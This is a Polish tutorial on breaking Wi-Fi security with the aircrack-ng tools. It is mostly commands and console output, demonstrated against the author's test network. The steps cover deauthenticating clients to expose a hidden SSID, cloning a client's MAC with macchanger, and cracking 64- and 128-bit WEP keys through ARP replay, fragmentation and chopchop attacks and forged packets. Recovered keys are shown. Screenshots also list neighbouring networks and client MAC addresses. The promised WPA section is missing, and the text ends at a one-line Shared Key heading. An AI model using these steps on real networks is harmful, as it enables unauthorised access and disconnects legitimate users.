TUTORIAL

Jak łamać zabezpieczenia WEP/WPA/WPA2

Autor:

ozyrusa@gmail.com

SPIS TREŚCI

1. PIE	ERWSZE KROKI	2
1.1.	URUCHOMIENIE TRYBU MONITOR NA KARCIE BEZPRZEWODOWEJ	
1.2.	PIERWSZE KOTY ZA PŁOTY CZYLI TESTOWANIE ZABEZPIECZENIA – UKRYTE SSID	5
1.3.	KONTROLA ADRESÓW MAC	7
1.4.	WEP – 64 I 128 BIT Z PODŁĄCZONYM KLIENTEM	9
1.5.	WEP 64 I 128 BEZ PODŁĄCZONYCH KLIENTÓW	
1.6.	TYP UWIERZYTELNIANIA • SHARED KEY – UWIERZYTELNIANIE Z KLUCZEM	
1.7.	ŁAMANIE ZABEZPIECZEŃ TYPU WPA/WPA2 TKIP	

1. Pierwsze kroki

1.1.Uruchomienie trybu monitor na karcie bezprzewodowej

Bardzo ważną rzeczą przed przystąpieniem do pracy jest ustawienie karty w tryb monitor, kanału na którym będzie pracować oraz prędkości. Naszą siecią testową będzie sieć o nazwie **Projekt.** Sieć ta działa na kanale 13 w trybie 802.11b oraz 802.11g (tryb mieszany). Pierwszym krokiem będzie włączenie samej karty, następnie trybu monitor, ustawienie kanału i na końcu prędkości.

```
ifconfig rausb0 up
```

```
iwconfig rausb0 mode monitor
```

airmon-ng start rausb0 13 (13 to numer kanału na którym pracuje Access Point)

Teraz ułatwimy sobie pracę tworząc odpowiednie deklaracje w systemie dotyczące adresu mac naszej karty sieciowej oraz adresu mac naszego Access Pointa, dzięki temu nie będziemy musieli wpisywać za każdym razem długich kombinacji cyfr i liter. Aby tego dokonać należy edytować plik /etc/profile i dodać dwa wpisy:

declare macap=00:0C:41:38:61:6E – mac naszego Access Pointa będzie teraz wywoływany jako parametr \$macap

declare mac=00:1C:10:65:7E:EE – mac naszej karty sieciowej będzie teraz wywoływany jako parametr \$mac



Rysunek 1 Efekt działanie komendy export

Teraz możemy sprawdzić czy to co zrobiliśmy do tej pory działa, aby to sprawdzić należy

wpisać

airodump-ng rausb0 (rausb0 to nazwa naszego interfejsu, mogłoby to być również np.

wlan0 lub ath0 itp)

20				Sh	ell -	Kons	ole				×
💿 🛋 Shell 🔳	Shell No	o. 2 🛛 🜌 Shell	No. 3		Shell	No. 4				[0
CH 13][Elapsed	: 8 min	is][2008-04	-11 13	:16							•
BSSID	PWR	Beacons +	#Data,	#/s	СН	MB	ENC	CIPHER	AUTH	ESSID	
00:02:6F:43:FA:4	B 103	83	236	0	2	5.	WEP	WEP		PARTNER-Konstytucja-1	
00:0C:41:38:61:6	E 102	262	4	0	13	54.	OPN			<length: 0=""></length:>	
00:18:39:68:73:5	5 99	54	51	0	4	48	OPN			partner_konstytucja	
00:1A:6B:CA:E7:4	5 97	16	0	0	10	54	WEP	WEP		neostrada 3758	
00:30:4F:36:A4:7	E 97	20	3	0	11	11.	OPN			INTERNET.SERWIS-TEL:77436135	
BSSID	STAT	TON	PWR	Ra	te	Lost	Pac	kets F	robes		
00:02:6F:43:FA:4	B 00:1	1:95:20:FC:4	c - 1	5-	0	0		130			
00:02:6F:43:FA:4	B 00:1	9:E0:82:40:3	2 - 1	5-	0	0		97			
00:18:39:68:73:5	5 00:4	0:05:3F:1A:B	E - 1	11-	0	0		34			

Rysunek 2 Działanie polecenia airodump-ng

Widzimy, że wszystko pięknie działa [©]. Teraz musimy znaleźć odpowiednią prędkość z jaką nasza karta sieciowa będzie pracować. Zależy do przede wszystkim od mocy samej karty jak i odległości pomiędzy Access Pointem a klientem. Aby sprawdzić jaka prędkość będzie odpowiednia musimy wpisać w w Shellu:

aireplay -9 -a \$macap -B rausb0

- -9 test wstrzykiwania i jakości
- -a bssid czyli mac naszego Access Pointa

\$macap adres mac naszego Access Pointa, który jest teraz zmienną

-B aktywuje test dla różnych prędkości połączenia

I			Shell No. 2 - Konsole	
	hell 🖉 Shell No. 2	🚅 Shell No. 3	🜌 Shell No. 4	•
ht ~ # ai	replaying -9 -a \$ma	can -B rausb0		
13:47:54	Waiting for heacon	frame (BSSTD:	00:0(:41:38:61:6E) on channel 1	3
13:47:54	Trying broadcast n	rohe requests.		
13:47:55	Injection is worki	na!		
13:47:56	Eound 1 AP			
13:47:56	Trving directed pr	obe requests		
13:47:56	00:0C:41:38:61:6E	- channel: 13	- 'Proiekt'	
13:48:01	Ping (min/avg/max)	: 8.187ms/77.8	81ms/148.183ms Power: 95.00	
13:48:01	12/30: 40%			
Station of the state of the state				
13:48:01	Trving directed pr	obe requests f	or all bitrates	
13:48:01	00:0C:41:38:61:6E	- channel: 13	- 'Projekt'	
13:48:04	Probing at 1.0 Mbp	s: 1/30: 3	s	
13:48:07	Probing at 2.0 Mbp	s: 8/30: 26	8	
13:48:09	Probing at 5.5 Mbp	s: 15/30: 50	8	
13:48:11	Probing at 6.0 Mbp	s: 14/30: 46	%	
13:48:14	Probing at 9.0 Mbp	s: 3/30: 10	8	
13:48:17	Probing at 11.0 Mb	ps: 3/30: 10	8	
13:48:18	Probing at 12.0 Mb	ps: 19/30: 63	%	
13:48:21	Probing at 18.0 Mb	ps: 11/30: 36	%	
13:48:23	Probing at 24.0 Mb	ps: 16/30: 53	8	
13:48:26	Probing at 36.0 Mb	ps: 2/30: 6	8 ////////////////////////////////////	
13:48:28	Probing at 48.0 Mb	ps: 9/30: 30	8 8 7 A 7 A 8 B 8 B 8 B 8	
13:48:30	Probing at 54.0 Mb	ps: 20/30: 66	8	
bt ~ #				
			Line and the second sec	

Rysunek 3 Efekt działania aireplay -9 -a \$macap -B rausb0

Generalnie jest tak, że im bliżej AP jesteśmy tym możemy większych prędkości połączenia używać. Dlatego ustawimy sobie prędkość naszej karty na 54 Mb poleceniem:

iwconfig rausb0 rate 54M

1.2.Pierwsze koty za płoty czyli testowanie zabezpieczenia – ukryte SSID

Na początku omówiliśmy sobie co to jest i jak działa więc niema sensu do tego wracać.

Zatem przejdźmy do praktyki. Najpierw wpiszmy polecenie:

airodump-ng rausb0

1 0			m	IC - / ·	- Sh	ell - K	ionso	le			
CH 13][Elapsed:	24 s][2008-04-1	1 14:1	7							
BSSID	PWR	Beacons	#Data,	#/s	СН	MB	ENC	CIPHER	R AUTH	ESSID	
00:02:6F:43:FA:4B	105	2	11	0	2	5.	WEP	WEP		PARTNER-Konstytucja-1	
00:0C:41:38:61:6E	98	25	0	0	13	54.	OPN			<length: 0=""></length:>	
BSSID	STAT	TON	PWR	Ra	te	Lost	Pac	kets F	robes		
00:02:6F:43:FA:4B	00:1	1:95:20:FC:4	- L	5-	0	0		9			
00:02:6F:43:FA:4B	00:1	9:E0:82:40:3	2 -1	5-	0	0		2			
ot / #											

Rysunek 4 Wykrywanie sieci w okolicy

Spowoduje to uruchomienie programu, który wyświetli nam aktualną listę sieci (zawiera BSSID, ESSID, Kanał, Ilość przesyłanych pakietów (DATA), prędkość, rodzaj zabezpieczenia) bezprzewodowych oraz klientów do nich dołączonych. Nasza sieć Projekt jest ukryta, znam jej adres mac czyli 00:0c:41:38:61:6e Essid widziany na screenie to <length: 0>. Pytanie: jak przyłączyć się do takiej sieci, otóż wiemy, że sieć ta chroniona jest tylko poprzez ukrywanie SSID czyli nazwy sieci, gdy zdobędziemy tą nazwę będziemy mogli się połączyć z Access Pointem i korzystać z jej zasobów ©. Możemy tego dokonać na kilka sposobów:

- 1. Czekamy, aż jakiś klient się dołączy, który zna SSID
- "Wykopujemy" klientów już przyłączonych, żeby raz jeszcze dołączyli się do Access Pointa

Pierwszego punkty nie będę opisywał wystarczy poczekać 😇 i już będziemy wiedzieć jaką nazwę ma nasza sieć.

Drugi punkt polega na tym aby klient już podłączony zażądał ponownie połączenia z Access Pointem. Dzięki temu przechwycimy nazwę SSID ©

Najpierw kończymy działanie airodump-ng (Ctrl+c), następnie w nowym shellu ustawiamy ponownie kanał na którym pracuje nasz Access Point (*airmon-ng rausb0 13*) kopiujemy mac klienta podłączonego do Access Pointa, pytanie skąd go wziąć, otóż wszystko pokazał nam **airodump-ng** chodzi nam dokładnie o kolumny BSSID oraz STATION. BSSID będzie pokazywał nam adres mac Access Pointa a Station pokaże nam adres mac klienta podłączonego do danego Access Pointa. Teraz wystarczy tylko wpisać odpowiednią komendę z odpowiednim adresem mac w shellu nr 1:

Adres naszego klienta to 00:90:4b:5b:69:df

aireplay-ng -0 10 -a \$macap -c 00:90:4b:5b:69:df rausb0

-0 znaczy deauthencation czyli "odłączenie" klienta od AP

10 ilość wysłanych żądań odłączenia

-a adres mac Access Pointa

-c adres mac klienta Access Pointa

bt ~ # iw	config ra	aust	00 channe	l 13			
bt ~ # ai	replay-ng	1 - () 10 -a \$i	macap -c	00:90:4	4B:5B:69:DF rausb0	
14:47:46	Waiting	fo	beacon	frame (BS	SSID: 00	0:0C:41:38:61:6E) on chan	nel 13
14:47:46	Sending	64	directed	DeAuth.	STMAC:	[00:90:4B:5B:69:DF] [0]	0 ACKs]
14:47:47	Sending	64	directed	DeAuth.	STMAC:	[00:90:4B:5B:69:DF] [0]	0 ACKs]
14:47:48	Sending	64	directed	DeAuth.	STMAC:	[00:90:4B:5B:69:DF] [0]	0 ACKs]
14:47:49	Sending	64	directed	DeAuth.	STMAC:	[00:90:4B:5B:69:DF] [0]	0 ACKs]
14:47:50	Sending	64	directed	DeAuth.	STMAC:	[00:90:4B:5B:69:DF] [0]	0 ACKs]
14:47:51	Sending	64	directed	DeAuth.	STMAC:	[00:90:4B:5B:69:DF] [0]	0 ACKs]
14:47:52	Sending	64	directed	DeAuth.	STMAC:	[00:90:4B:5B:69:DF] [0]	0 ACKs]
14:47:53	Sending	64	directed	DeAuth.	STMAC:	[00:90:4B:5B:69:DF] [0]	0 ACKs]
14:47:54	Sending	64	directed	DeAuth.	STMAC:	[00:90:4B:5B:69:DF] [0]	0 ACKs]
14:47:56	Sending	64	directed	DeAuth.	STMAC:	[00:90:4B:5B:69:DF] [0]	0 ACKs]
bt ~ #							

Rysunek 5 Działanie aireplay-ng -0 10 –a \$macap –c 00:90:4b:5b:69:df rausb0

oraz w shellu 2

```
airodump-ng rausb0
```

2 <u>8</u>			n	1C - / ·	Sh	ell - K	onso	le			
Shell	🗶 Shell N	o. 2 🛛 🜌 Shell	No. 3								-0
CH 12][Elapse	ed: 16 s][2008-04-11	1 14:4	8							
BSSID	PWR	Beacons #	#Data,	#/s	СН	MB	ENC	CIPH	ER AUTH	ESSID	
00:02:6F:43:FA:	4B 104	4	6	0	2	5.	WEP	WEP		PARTNER-Konstytucja-1	
00:0C:41:38:61:	6E 102	19	0	0	13	54.	OPN			Projekt	
BSSID	STA	TION	PWR	Ra	te	Lost	Pac	kets	Probes		
00:02:6F:43:FA:	4B 00:	11:95:20:FC:40	c - 1	5-	0	0		5			
(not associated) 00:	90:4B:5B:69:DF	= 79	0 -	1	0		4	Projek	t	



1.3. Kontrola adresów MAC

Wcześniej opisaliśmy sobie te zabezpieczenie. Teraz potrafiąc znaleźć nazwę ukrytą SSID bez problemu potrafimy też poznać adresy MAC klientów podłączonych do tej sieci. Aby tego dokonać wystarczy wpisać w Stell znane nam polecenie:

airodump-ng rausb0

Spowoduje to wyświetlenie wszystkich klientów, którzy łączą się z danym Acess Pointem. I tak oto mamy naszego klienta o numerze mac 00:90:4B:5B:69:DF, kóry jest podłączony do naszego Access Pointa.

2 0				m	ic - ~	- Sh	iell - I	Konso	ole			_ = X
🔤 🜌 Shell	🚅 SI	hell No). 2 🛛 🜌 Shel	I No. 3	-	Shell	No. 4					-0
CH 13][Elap	sed:	52 s][2008-05-2	24 12:2	3							-
BSSID		PWR	Beacons	#Data,	#/s	СН	MB	ENC	CIPHER	AUTH	ESSID	
00:02:6F:43:F	A:4B	101	9	25	0	2	5.	WEP	WEP		PARTNER-Konstytucja-1	
00:0C:41:38:6	1:6E	91	8	9	0	13	54.	WEP	WEP		Projekt	
BSSID		STAT	ION	PWR	Ra	ite	Lost	Pac	kets P	robes		
00:02:6F:43:F	A:4B	00:3	0:4F:29:EF:F	-3 -1	1-	0	0		4			
00:02:6F:43:F	A:4B	00:1	1:95:20:FC:4	4C - 1	5-	0	0		20			
00:0C:41:38:6	1:6E	00:9	00:4B:5B:69:0	DF 78	54-	54	0		6			

Rysunek 7 Wykrywanie adresów MAC

Teraz znając ten adres wystarczy wyłączyć naszą kartę i zmienić jej adres mac. Możliwe to jest za pomocą polecenia

iwconfig rausb0 down

macchanger -m 00:90:4B:5B:69:DF rausb0

ifconfig rausb0 up

Teraz możemy się cieszyć tym, że Access Point zaakceptuje nasz adres MAC i będzie mogli korzystać z jego zasobów.

1.4. WEP – 64 i 128 bit z podłączonym klientem

Słabością protokołu WEP jest niewątpliwie wektor inicjalizacyjny (IV) i jego słaba implementacja. Problem "zużywania" IV-sów opisał bardzo dokładnie Walker (2000) w dokumencie "Unsafe at any key size; An analisis of the WEP encapsulation". Możemy w nim przeczytać, że przy stosowaniu 40 bitowego klucza WEP prawdopodobieństwo kolizji, czyli powtórzenia IV wynosi 50% przy zgromadzeniu około 4826 ramek a 99% przy zgromadzeniu 12430 ramek. Tak, więc na kolizję IV nie trzeba długo czekać.

Naszym zadaniem będzie nazbieranie odpowiedniej ilości pakietów zawierających zmieniające się wektory inicjalizacji (IV'sy) wykorzystywane w WEP w celu złamania klucza.

Na początku ustawimy sobie tryb monitor oraz kanał na którym pracuje nasz Access Point, następnie sprawdzimy jaka będzie najlepsza prędkość żeby z nim "współpracować".

ifconfig rausb0 up iwconfig rausb0 mode monitor airmon-ng start rausb0 13 aireplay-ng -9 -a \$macap -e "Projekt" -B rausb0

a	Shell - Konsole	
bt ~ # ai	.replay-ng -9 -a \$macap -B rausb0	
13:14:10	Waiting for beacon frame (BSSID: 00:0C:41:38:61:6E) on channel 13	
13:14:10	Trying broadcast probe requests	
13:14:10	Injection is working!	
13:14:12	Found 1 AP	
13:14:12	Irying directed probe requests	
13:14:12	00:00:41:38:61:6E - channel: 13 - 'Projekt'	
13:14:14	Ping (min/avg/max): 13.01/ms/49.964ms/139.606ms Power: 94.13	
13:14:14	20/20: 100%	
13.14.14	Trying directed probe requests for all hitrates	
13.14.14	Trying directed probe requests for all bitrates	
13:14:14	00:0C:41:38:61:6E - channel: 13 - 'Projekt'	
13:14:15	Probing at 1.0 Mbps: 21/30: 70%	
13:14:17	Probing at 2.0 Mbps: 22/30: 73%	
13:14:19	Probing at 5.5 Mbps: 27/30: 90%	
13:14:20	Probing at 6.0 Mbps: 23/30: 76%	
13:14:22	Probing at 9.0 Mbps: 20/30: 66%	
13:14:23	Probing at 11.0 Mbps: 22/30: 73%	
13:14:25	Probing at 12.0 Mbps: 19/30: 63%	
13:14:27	Probing at 18.0 Mbps: 23/30: 76%	
13:14:29	Probing at 24.0 Mbps: 19/30: 63%	
13:14:30	Probing at 36.0 Mbps: 28/30: 93%	
13:14:32	Probing at 48.0 Mbps: 21/30: 70%	
13:14:34	Probing at 54.0 Mbps: 17/30: 56%	P P P

Rysunek 8 Działanie polecenia aireplay-ng -9 –a \$macap –e "Projekt" –B rausb0

Teraz musimy uruchomić airodump-ng z tym, że będzie miał więcej parametrów takich jak: zapisanie pakietów do pliku, wybór kanału na którym będzie nasłuchiwał.

airodump-ng -c 13 --bssid \$macap -w pakiety rausb0

					m	c - / - Sh	ell - K	ons	ole					86
질 🛋 Shell	🚅 Sh	ell No.	. 2	🚅 Shell N	0.3									
CH 13][Elap	sed: 1	min	ш	2008-04-11	16:0	3								
				-1 1		70 1 120		2.22			1.122			
BSSID		PWR	₹ХQ	Beacons	#Da	ta, #/s	СН	MΒ	ENC	CIPHER	AUTH	ESSID		
00:0C:41:38:6	1:6E	93	100	632	71	40 93	13	54.	WEP	WEP	OPN	<length:< td=""><td>0></td><td></td></length:<>	0>	
BSSID		STAT.	ION		PWR	Rate	Lost	Pa	ckets	Probe	5			
00.00.11.30.6	1:6E	00.00	a∙⊿B	:5B:69:DF	79	54-54	5		9162					

Rysunek 9 Działanie polecenia airodump-ng --ivs --write wep64 --channel 13 rausb0

Następnie musimy dołączyć się do Access Pointa "Projekt"

Następnie musimy połączyć się z Access Pointem, robimy to za pomocą polecenia

aireplay-ng -1 0 -e "Projekt" -a \$macap -h \$mac rausb0

W kolejnym kroku uruchamiamy aireplay-ng w odpowiednim trybie, który będzie nasłuchiwał żądania ARP a następnie będzie wstrzykiwał je do sieci. Powodem wybrania pakietów ARP jest to iż Access Point będzie ponownie transmitował je oraz generował nowe IV. Naszym zadaniem jest nazbierać pakietów IV jak najwięcej.

aireplay-ng -3 -b \$macap -h \$mac rausb0



Rysunek 10 Działanie poleceń aireplay-ng

Po "wyłapaniu" ok. 200 000 ~ 300 000 pakietów możemy przystąpić do łamania klucza WEP 64

bitowego, chcąc złamać klucz 128 bitowy należy tylko nazbierać ok. 400 000 ~ 500 000

pakietów.

20		mc - ~ - Shell - I	Konsole	
📑 🖬 Shell 🖉	Shell No. 2 🛛 🚅 Shell I	lo. 3 🛛 🚅 Shell No. 4		-0
CH 13][Elapsed	: 54 mins][2008-05	-24 11:37		
BSSID	PWR RXQ Beacons	#Data, #/s CH	MB ENC CIPHER AUTH ESSID	
00:0C:41:38:61:6	E 93 62 21167	341621 49 13	54.WEP WEP OPN <length: 0=""></length:>	
BSSID	STATION	PWR Rate Lost	Packets Probes	
00:0C:41:38:61:6	E 00:90:4B:5B:69:DF	87 54-1 21	529941	

Rysunek 11 Zbieranie pakietów

aircrack-ng -n 64 pakiety-01.cap

Natomiast chcąc złamać klucz WEP 128 bitowy wpiszemy polecenie

aircrack-ng -n 128 pakiety-01.cap

bt ~ # aircrack-ng -n 64 pakiety-01.cap Opening pakiety-01.cap Read 530555 packets.	
# BSSID ESSID	Encryption
1 00:0C:41:38:61:6E	WEP (341626 IVs)
Choosing first network as target.	
Opening pakiety-01.cap Attack will be restarted every 5000 captured ivs. Starting PTW attack with 341626 ivs. KEY FOUND! [D3:37:80:B6: Decrypted correctly: 100%	

Rysunek 12 Łamanie klucza

1.5. WEP 64 i 128 bez podłączonych klientów

W poprzedniej metodzie przechwytywaliśmy żądania ARP z sieci, które generowali klienci do niej podłączeni. Co natomiast zrobić gdy nie ma klientów podłączonych poprzez drogę radiową natomiast są klienci podłączeni za pomocą kabla?

Jak zawsze na samym początku musimy ustawić tryb monitor, kanał na którym będzie pracować karta wifi oraz jej prędkość, wiemy jak to zrobić z wcześniejszych naszych prób.

Teraz standardowo musimy wykonać fałszywe uwierzytelenienie z Access Pointem

aireplay-ng -1 0 -e default -a \$macap -h \$mac rausb0

Gdy to już zrobimy posłużymy się atakiem chopchop lub fragmentacji żeby otrzymać plik z PRGA (pseudo random generation algorithm). PRGA nie jest kluczem WEP i nie może być użyty to dekryptacji pakietów. Jednakże może być wykorzystany do stworzenia nowych wstrzykiwań pakietów.

Aby wykonać atak fragmentacji do uzyskania pliku z PRGA należy wykonać polecenie:

```
aireplay-ng -5 -b $macap -h $mac rausb0
```

```
mc - /air/aircrack-ng-1.0-beta2/test - Shell No. 2 - Konsole
                           🚅 Shell No. 2
          🜌 Shell
                                                    Shell No. 3
                                                                                                                                                                                                        0
bt ~ # aireplay-ng -5 -b $macap -h $mac rausb0
14:16:05 Waiting for beacon frame (BSSID: 00:0E:2E:C4:1F:31) on channel 11
14:16:06 Waiting for a data packet...
Read 73 packets...
               Size: 88, FromDS: 0, ToDS: 1 (WEP)
                BSSID = 00:0E:2E:C4:1F:31
Dest. MAC = 00:0E:2E:C4:1F:31
Source MAC = 00:90:4B:5B:69:DF
               0x0000: 0841 2c00 000e 2ec4 1f31 0090 4b5b 69df
                                                                                                     .A,....1..K[i.

        0x0010:
        000e 2ec4 1f31 002b 6a22 6400 37d6 3f39
        ....1.+j"d.7.?9

        0x0020:
        2570 6c9a 8422 129a 0399 65db b1c9 5054 %pl."...e...PT

        0x0030:
        1423 8444 f7fc 956d 5ecf c609 9a52 2710
        #.D...m^....R'.

        0x0040:
        belb 51e1 1c59 5f77 4a6b ad37 fc45 6486
        .....Ywlk.7.Ed.

               0x0050: 34fe e4ac 813a 150e
                                                                                                      4....
Use this packet ? y
 Saving chosen packet in replay_src-0530-141632.cap
14:16:39 Data packet found!
14:16:39 Sending fragmented packet
14:16:39 Got RELAYED packet!!
 14:16:39
                  Trying to get 384 bytes of a keystream
14:16:41 No answer, repeating...
14:16:41 Trying to get 384 bytes of a keystream
14:16:41 Trying a LLC NULL packet
14:16:43 No answer, repeating...
14:16:43 Trying to get 384 bytes of a keystream
14:16:43 Got RELAYED packet!!
14:16:43 Trying to get 1500 bytes of a keystream
                 No answer, repeating...
Trying to get 1500 bytes of a keystream
14:16:45
14:16:45
14:16:45 Trying a LLC NULL packet
14:16:45 Got RELAYED packet!!
 Saving keystream in fragment-0530-141645.xor
 Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
```

Rysunek 13 Atak fragmentacji

lub atak chopchop

aireplay-ng -4 -b \$macap -h \$mac rausb0

	mc - ~ - S	hell No. 2 - Konsole		
Shell Shell No. 2	🜌 Shell No. 3			-0
<pre>bt ~ # aireplay-ng -4 -b \$ma</pre>	cap -h \$mac rausb0		14 - 04 A.	
15:26:22 Waiting for beacon	frame (BSSID: 00:0E:2E:	C4:1F:31) on chann	nel 11	
Read 49 packets				
Size: 68, FromDS: 0,	ToDS: 1 (WEP)			
BSSID = 00:0	E:2E:C4:1F:31			
Source MAC = 00:9	0:4B:5B:69:DF			
0x0000: 0841 2c00 0	00e 2ec4 1f31 0090 4b5b	69df .A,1	K[i.	
0x0010: tttt tttt t	111 1003 9e57 7600 57bb .	2122Wv.	W. ! " by _ 4	
0x0020: 750a 1140 5 0x0030: efb3 ab91 3	7ad e79d d041 8720 e78d	5d2b7A.	•v.,4]+	
0x0040: da16 106a		j	1992. 4 10	
Use this packet ? y				
Saving chosen packet in repl	av src-0530-152632.cap			
Offset 67 (0% done) xor	= 83 pt = E9 112 f	rames written in	336ms	
Offset 66 (2% done) xor	= 82 pt = 92 749 f	rames written in	2249ms	
Offset 64 (8% done) xor	= BA pL = AC 251	rames written in	702ms	
Offset 63 (11% done) xor	= 50 pt = 20 234	rames written in	434ms	
Offset 62 (14% done) xor	= 5F pt = 02 162 f	rames written in	485ms	
Offset 61 (17% done) xor	= 25 pt = A8 172 f	rames written in	516ms	
Offset 60 (20% done) xor	= 27 pt = C0 148 f	rames written in	444ms	
Offset 59 (23% done) xor	= 20 pt = 00 259 f	rames written in	779ms	
Offset 58 (26% done) xor	= 87 pt = 00 215 f	rames written in	645ms	
Offset 57 (29% done) xor	= 41 pt = 00 170 f	rames written in	510ms	
Offset 56 (32% done) xor	= D0 pt = 00 77 f	rames written in	229ms	
Offset 55 (35% done) xor	= 9D pt = 00 292 f	rames written in	876ms	
Offset 54 (38% done) xor	= E7 pt = 00 214 f	rames written in	642ms	
Offset 53 (41% done) xor	= D6 pt = 7B 223 f	rames written in	669ms	12.2
Offset 52 (44% done) xor	= 35 pt = 02 73 f	rames written in 👔	219ms	
Offset 51 (47% done) xor	= 39 pt = A8 223 f	rames written in	669ms	
Offset 50 (50% done) xor	= 6B pt = C0 150 f	rames written in	452ms	
Offset 49 (52% done) xor	= 6C pt = DF 83 f	rames written in	247ms	<u>▲</u>

Rysunek 14 Atak chopchop cz1

	mc	- ~ - Shell No. 2 - Konsol	e.	
🔤 🜌 Shell 🜌 Shell No. 2	🚅 Shell No. 3			-0
Offset 64 (8% done) xor :	= 3A pt = E0	234 frames written in	703ms	
Offset 63 (11% done) xor :	= 50 pt = 7B	145 frames written in	434ms	
Offset 62 (14% done) xor :	= 5F pt = 02	162 frames written in	485ms	
Offset 61 (17% done) xor :	= 25 pt = A8	172 frames written in	516ms	
Offset 60 (20% done) xor :	= 27 pt = C0	148 frames written in	444ms	
Offset 59 (23% done) xor :	= 20 pt = 00	259 frames written in	779ms	
Offset 58 (26% done) xor :	= 87 pt = 00	215 frames written in	645ms	
Offset 57 (29% done) xor :	= 41 pt = 00	170 frames written in	510ms	
Offset 56 (32% done) xor :	= D0 pt = 00	77 frames written in	229ms	
Offset 55 (35% done) xor :	= 9D pt = 00	292 frames written in	876ms	
Offset 54 (38% done) xor :	= E7 pt = 00	214 frames written in	642ms	
Offset 53 (41% done) xor :	= D6 pt = 7B	223 frames written in	669ms	
Offset 52 (44% done) xor :	= 35 pt = 02	73 frames written in	219ms	
Offset 51 (47% done) xor :	= 39 pt = A8	223 frames written in	669ms	
Offset 50 (50% done) xor :	= 6B pt = C0	150 frames written in	452ms	
Offset 49 (52% done) xor :	= 6C pt = DF	83 frames written in	247ms	
Offset 48 (55% done) xor :	= 86 pt = 69	56 frames written in	170ms	
Offset 47 (58% done) xor :	= 6F pt = 5B	65 frames written in	195ms	
Offset 46 (61% done) xor :	= 67 pt = 4B	265 frames written in	795ms	
Offset 45 (64% done) xor :	= 43 pt = 90	644 frames written in	1930ms	
Offset 44 (67% done) xor :	= 76 pt = 00	525 frames written in	1575ms	
Offset 43 (70% done) xor :	= 35 pt = 01	232 frames written in	696ms	
Offset 42 (73% done) xor :	= 8C pt = 00	379 frames written in	1137ms	
Offset 41 (76% done) xor :	= C0 pt = 04	183 frames written in	551ms	
Offset 40 (79% done) xor :	= 31 pt = 06	74 frames written in	222ms	
Offset 39 (82% done) xor :	= 8D pt = 00	140 frames written in	418ms	
Offset 38 (85% done) xor :	= 7D pt = 08	248 frames written in	744ms	
Offset 37 (88% done) xor :	= 11 pt = 01	246 frames written in	738ms	
Offset 36 (91% done) xor :	= 38 pt = 00 1	1058 frames written in	3174ms	
Offset 35 (94% done) xor :	= 4B pt = 06	509 frames written in	1529ms	
Offset 34 (97% done) xor :	= F7 pt = 08	150 frames written in	448ms	
Saving plaintext in replay de	0530.152701 can			
Saving profinest in replay_de	c-0530-152701.xor			
			AL	
Completed in 27s (1.11 bytes/s	5)	< hack !!	trook TE	200

Rysunek 15 Atak chopchop cz 2

W poprzednim kroku otrzymaliśmy PRGA. Nieważne jest, który atak wygenerował PRGA, oba dają taki sam rezultat. PRGA jest przechowywane w pliku z końcówka "xor". Możemy użyć PRGA do generowanie pakietu żądań ARP. Celem tej czynności jest aby Access Point ponownie rozgłaszał wstrzyknięty pakiet ARP. Kiedy ponownie będzie go rozgłaszał, będziemy otrzymywać nowe IVs. Wszystkie te nowe Ivs będziemy używali do złamania klucza WEP.

Aby wygenerowac pakiet ARP służący do wstrzykiwań należy wpisać polecenie:

packetforge-ng -0 -a \$macap -h \$mac -k 255.255.255.255 -1 255.255.255.255 -y fragment-0530-141645.xor -w arp-request

Następnie uruchamiamy airodump-ng żeby przechwytywać pakiety:

airodump-ng -c 11 --bssid \$macap -w przechwyt rausb0

20			nc - ~ -	Shel	l No	. з - к	onsole			
Shell 🜌	Shell No. 2	Shell No. 3								
CH 11][Elapsed	: 11 mins]	[2008-05-30 14	31							
BSSID	PWR RXQ	Beacons #Da	a, #/s	СН	MB	ENC	CIPHER	AUTH	ESSID	
00:0E:2E:C4:1F:3	1 107 82	2511 705	3 91	11	54	WEP	WEP	OPN	default	
BSSID	STATION	PWR	Rate	Lost	Pa	ackets	Probe	5		

Rysunek 16 Efekt działania polecenia airodump-ng -c 11 --bssid \$macap -w przechwyt rausb0

Teraz będziemy wstrzykiwać pakiety poleceniem

aireplay-ng -2 -r arp-request -h \$mac rausb0

			mc - /air/aircrack	ng-1.0-beta	2/test - Shell No. 2 - Konsole	= = ×
	Shell	📕 Shell No. 2	Shell No. 3			-0
bt ~ #	aireplay-	ng -2 -r arp	-request -h \$mac r	ausb0		
	Size: 68	3, FromDS: 0,	ToDS: 1 (WEP)			
	BS Dest. Source	SSID = 00:00 MAC = FF:FI MAC = 00:10	E:2E:C4:1F:31 F:FF:FF:FF:FF C:10:65:7E:EE			
	0x0000: 0x0010: 0x0020: 0x0030: 0x0030:	0841 0201 0 ffff ffff f 04d6 7ea2 6 d504 2921 7 0d9f ac92	00e 2ec4 1f31 001c fff 8001 e3db 2f00 e11 3a91 47a9 19ac 89d 818e 22a5 0e57	: 1065 7eee) c653 4e88 : bd70 b6ee 7 c22a a959	.A1e~. /SN. ~.n.:.Gp)!x"W.*.Y	
Use thi	s packet	? y				
Saving You sho	chosen pa uld also	ocket in repl start airodu	ay_src-0530-141844 mp-ng to capture r	1.cap replies.		
End of	file.					

Rysunek 17 Efekt działa polecenia aireplay-ng -2 -r arp-request -h \$mac rausb0

Na końcu zostało tylko zebranie pakietów (ok. 20min zbierania) i złamanie klucza

aircrack-ng -n 128 przechwyt

				mc - /a	ir/aircrack-ı	ng-1.0-beta	2/test - Shel	I - Konsole						
	📕 Shell		🚅 Shell No. 2	🚅 Shell No	n. 3						-•			
	Aircrack-ng 1.0 beta2													
				[00:00	0:01] Teste	d 825 keys	(got 462892	IVs)						
КВ	dep	th	byte(vote)											
0	0/	1	42(635904)	EC(492800)	71(491008)	9A(488704)	40(487424)	BC(487168)	85(486912)	92(484352)				
1	0/	1	B3(647936)	1D(493824)	70(489472)	3C(487936)	7B(487680)	F4(487680)	73(485632)	59(484096)				
2	0/	9	34(621568)	2A(499200)	2C(485632)	28(484096)	60(483328)	54(482816)	DC(482304)	1B(481792)				
3	20/	3	88(476416)	12(475904)	B7(475904)	BD(475648)	61(474880)	75(474880)	AA(474880)	CE(474880)				
4	3/	4	B8(491776)	E0(488960)	AE(487168)	76(484864)	CB(484608)	47(483072)	08(482816)	B7(482560)				
	Decr	KE ypt	Y FOUND! [4 ed correctly	2:B3:34:20: : 100%	04:0C:9F:0A	:CF:D9:DF:8	C:7D]							



1.6. Typ uwierzytelniania • Shared Key – uwierzytelnianie z kluczem

Polega na tym, że tylko użytkownicy którzy mają taki sam klucz WEP jak Access Point mogą przyłączyć się do niego.



